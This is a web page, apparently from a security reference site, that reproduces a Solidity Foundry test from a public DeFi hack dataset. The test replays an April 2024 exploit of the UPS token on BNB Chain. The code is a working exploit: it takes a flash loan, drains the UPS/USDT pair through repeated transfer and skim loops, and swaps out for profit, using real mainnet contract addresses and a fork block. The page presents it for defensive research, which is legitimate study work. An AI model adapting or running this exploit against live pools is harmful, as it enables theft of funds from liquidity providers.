Public reproduction file
src/test/2024-04/UPS_exp.sol
Public reproduction file for dataset entry UPS.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// TX : https://app.blocksec.com/explorer/tx/bsc/0xd03702e17171a32464ce748b8797008d59e2dbcecd3b3847d5138414566c886d9// Profit : ~ 28K USD10// REASON : business logic flaw XD transfer to pair won't lead to pair's amount change12contract ContractTest is Test {13 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));14 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);15 IERC20 UPS = IERC20(0x3dA4828640aD831F3301A4597821Cc3461B06678);16 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);17 Uni_Pair_V3 pool = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);18 Uni_Pair_V2 ups_usdt = Uni_Pair_V2(0xA2633ca9Eb7465E7dB54be30f62F577f039a2984);19 Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);20 uint256 borrow_amount;22 function setUp() external {23 cheats.createSelectFork("bsc", 37_680_754);24 deal(address(USDT), address(this), 0);25 }27 function testExploit() external {28 emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);29 borrow_amount = 3_500_000 ether;30 pool.flash(address(this), borrow_amount, 0, "");31 emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 18);32 }34 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, /*fee1*/ bytes memory /*data*/ ) public {35 USDT.transfer(address(ups_usdt), 2_000_000 ether);36 ups_usdt.sync();37 swap_token_to_token(address(USDT), address(UPS), 1_000_000 ether);38 uint256 i = 0;39 uint256 pair_balance = 0;40 uint256 here_balance = 0;41 uint256 transfer_amount = 0;42 while (i < 10) {43 pair_balance = UPS.balanceOf(address(ups_usdt));44 here_balance = UPS.balanceOf(address(address(this)));45 console.log(">>>>", here_balance, pair_balance, "<<<<");46 if (here_balance > pair_balance) {47 transfer_amount = pair_balance;48 } else {49 transfer_amount = here_balance;50 }51 UPS.transfer(address(ups_usdt), transfer_amount);52 ups_usdt.skim(address(this));53 i++;54 }55 i = 0;56 while (i < 3) {57 transfer_amount = UPS.balanceOf(address(ups_usdt));58 UPS.transfer(address(ups_usdt), transfer_amount);59 (uint256 r0, uint256 r1,) = ups_usdt.getReserves();60 uint256 amountOut = router.getAmountOut(transfer_amount - r0, r0, r1);61 ups_usdt.swap(0, amountOut, address(this), "");62 i++;63 }64 USDT.transfer(address(pool), borrow_amount + fee0);65 }67 function swap_token_to_token(address a, address b, uint256 amount) internal {68 IERC20(a).approve(address(router), amount);69 address[] memory path = new address[](2);70 path[0] = address(a);71 path[1] = address(b);72 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);73 }74}Analysis
Dataset entry
Public Foundry test for “UPS” (2024-04-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
- src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
- src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
- src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
- src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
- src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
- src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
- src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
- src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
- src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
- src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
- src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
- src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
- src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
- src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
- src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
- src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines
Also imports external libraries: forge-std/Test.sol.
File record
- Name
- UPS
- Path
- src/test/2024-04/UPS_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 26ed4c40e5c11f0915b229a3fbf076d2e82e4b67
- Language
- Solidity
- Size
- 75 lines
- Date
- 2024-04-09
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-04/UPS_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 26ed4c40e5c11f0915b229a3fbf076d2e82e4b67, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.